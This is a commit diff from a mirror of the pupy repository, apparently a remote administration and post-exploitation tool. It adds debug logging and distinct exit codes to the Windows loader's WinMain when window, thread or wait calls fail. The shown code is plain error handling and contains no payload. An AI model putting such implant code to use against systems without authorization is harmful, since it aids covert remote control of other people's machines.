mirror of https://github.com/n1nj4sec/pupy.git
Exit early with some different exit codes
This commit is contained in:
parent
860d21c7f8
commit
2d9fc79f5a
|
@ -5,6 +5,7 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "pupy_load.h"
|
||||
#include "debug.h"
|
||||
|
||||
void on_exit_session(void);
|
||||
|
||||
|
@ -53,8 +54,11 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
|||
wx.lpfnWndProc = WinProc;
|
||||
wx.hInstance = hInstance;
|
||||
wx.lpszClassName = class_name;
|
||||
if ( ! RegisterClassEx(&wx) )
|
||||
|
||||
if ( ! RegisterClassEx(&wx) ) {
|
||||
dprint("RegisterClassEx failed: %d\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
hwndMain = CreateWindowEx(
|
||||
0,
|
||||
|
@ -64,6 +68,11 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
|||
NULL, NULL, NULL, NULL
|
||||
);
|
||||
|
||||
if (!hwndMain) {
|
||||
dprint("CreateWindowEx failed: %d\n", GetLastError());
|
||||
return -2;
|
||||
}
|
||||
|
||||
hThread = CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
|
@ -73,6 +82,11 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
|||
&threadId
|
||||
);
|
||||
|
||||
if (!hThread) {
|
||||
dprint("CreateThread failed: %d\n", GetLastError());
|
||||
return -GetLastError();
|
||||
}
|
||||
|
||||
for (;;) {
|
||||
dwWake = MsgWaitForMultipleObjects(
|
||||
1,
|
||||
|
@ -84,7 +98,7 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
|||
|
||||
switch (dwWake) {
|
||||
case WAIT_FAILED:
|
||||
return -1;
|
||||
return -3;
|
||||
|
||||
case WAIT_TIMEOUT:
|
||||
continue;
|
||||
|
|
Loading…
Reference in New Issue